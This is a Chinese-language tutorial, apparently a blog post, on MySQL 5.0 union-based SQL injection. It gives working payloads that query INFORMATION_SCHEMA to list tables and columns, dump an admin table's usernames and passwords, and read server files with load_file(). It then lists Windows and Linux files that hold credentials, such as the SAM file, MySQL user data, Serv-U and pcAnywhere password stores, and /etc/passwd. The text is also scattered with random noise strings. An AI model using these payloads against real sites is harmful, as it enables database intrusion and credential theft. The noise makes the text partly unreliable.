mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

4 ~, A* y7 ^3 x2 M9 Q% y
" V: |0 \7 H! r. H- h5 `  r
% K5 G  k& s$ N1 N2 ~Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
$ w3 z4 G% `; g6 e2 s+ \中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
2 ?% U/ v+ Z0 M! E明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
! W. J9 z7 x+ F|—字段：SCHEMA_NAME ->数据库名称
& }7 \# n, f8 j6 ?: }# Y( u3 ^
7 ^  h( h) Z1 S% g: p) G( ?|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
6 {. A0 W( n- b6 b|—字段：TABLE_NAME ->存储表的表名
; j( \8 L4 v% b: |
2 Q6 c& O7 ~+ u* l* n8 J7 v|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
3 W2 s3 ~2 l; v9 ||—字段：TABLE_NAME ->存储所属表的名称

  }: L, d" h8 `- Z% C|—字段：COLUMN_NAME ->该字段的名称
$ f' z+ f% g9 g7 _- B: z
  \  V2 A) ?( {& P) ~#########################################################################
: ~+ K  @* d1 O/ B% i) t6 A4 c##
! L! W/ `. l; \$ ]; b3 b
3 r- M$ N) R# B1 r0×001 获取系统信息:

union select 1,2,3,4,5,concat
( m4 e2 j6 b6 ]9 M* x' g(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

2 y" n, w0 \2 H$ D/*
3 y1 k: Q1 j+ q9 K. z2 k% `2 e. ]
@@global.version_compile_os 获取系统版本
3 ~; t: v& K0 A
@@datadir 数据库路径
3 X" S9 F& B9 i3 H4 T; Cdatabase() 当前数据库名称
1 r! M: w9 m8 Z/ L0x3c62723e 换行HEX值
- j  k, ?) g# S
*/

######################################################################

0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
* q) ]2 `( X1 _, i0 O6 ]+ Finformation_schema.tables where table_schema=0x67617264656e /*

$ z" R% l! q7 |/*
: @7 t2 R- `: g2 W2 q. h
% c4 a" x: x7 Q. X" z0 N1 H0x67617264656e 为当前数据库名

+ B8 v# P- M( D" Tgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

' `! R. [' C" P; A8 S5 z2 R% [*/
* y& s' W, D. V) F. Z
; S: w$ S$ M7 ?4 h. O7 _######################################################################

" w5 o* w0 E# m, }3 G0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and
; m# ?' }8 |* V8 I7 t6 s+ U$ t+ ^
3 w. s1 N' o' k% M
table_schema=0x67617264656e limit 1 /*
& {2 F9 L% d- y# x4 b, @
/*
# Q! c9 X7 A" I6 e+ y/ Y
. x: Z8 Y( r/ m& bgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
: G7 v( S/ `/ V, e
0x61646d696e ->选择一个表

% h! w5 X( F5 V6 L5 x9 T$ S0x67617264656e ->数据库名
% b/ W. M9 U  D$ l
4 W6 e0 l- o2 Y% r6 t5 `1 {*/

#####################################################################
4 \3 T' C3 q" I
0×004 获取数据

union select 1,2,3
  R  D4 f7 P! a7 l! l. ~# p,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
2 h1 \0 U" J' ]8 }: B7 X
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
% e' s4 T* B7 ^, Y(adpassword),6,7,8 from admin

/*

0x3c62723e 换行符号HEX编码

; Q$ |! P8 R- \* q; r" x8 xgroup_concat 同时获得该字段所有数据
9 d; p0 F9 ^$ Z$ }. A/ L
, ^0 y- b; A: _' x8 G7 d/ x*/
* u: l, A( T" y; ^' k4 }
$ O  B! a2 a/ R/ @. {2 v4 Q5 l

5 d$ w5 d4 C- B7 }

顺便添加一些mysql注入时非常有用的一些东西

; e6 d3 n  X3 C8 s简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
8 b* B2 M: z8 @: \2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
0 M2 `/ y& B4 Z- C* C$ z9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
c:/boot.ini          //查看系统版本
( c: N; }3 g6 A( O( Pc:/windows/php.ini   //php配置信息
. ^4 e, h) p5 b7 _! x& F* oc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
' i) `7 {- [  yc:/winnt/my.ini
# m" L7 G! B0 j0 c& C% Dc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
1 V0 T4 H) X! n6 o1 Uc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
, \2 u, }' L+ w/ g* z% yc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
+ _" s7 N& U$ P" cc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
  W( O0 i. a# H* K4 h/ E; M//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
3 R/ E" U! m+ ?* J; f! w

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

9 ]1 B! P) C4 a7 nLUNIX/UNIX下:
+ ]  A4 Y6 J/ Z9 e) e- l! k, X4 W/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
! j- U' A" W* s3 U/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
3 q9 v% Z2 T+ o$ y+ ^/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
: P4 L# J0 Q' {6 Y7 o4 j/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
, ]; R0 m* V! Q* J! e: @( M/usr/local/app/php5/lib/php.ini //PHP相关设置
. T6 |! j/ K% y! r. M' x/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
4 F* H" f, o: O' ]+ T/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
1 I/ }; f; e4 G8 |7 j/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
: w" ?* Q! q. p9 J8 v/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
0 q# i% O' o) s/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
" b8 |! T3 S/ b. f+ ]/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
" X% d- Y/ `' G, m6 Tload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
3 f) n* L% S6 q3 _replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
& e7 V4 B5 j0 M$ Z5 p9 K# @5 q上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

/ o! P# V+ v" o/ |: j1 Y1 M. ~( n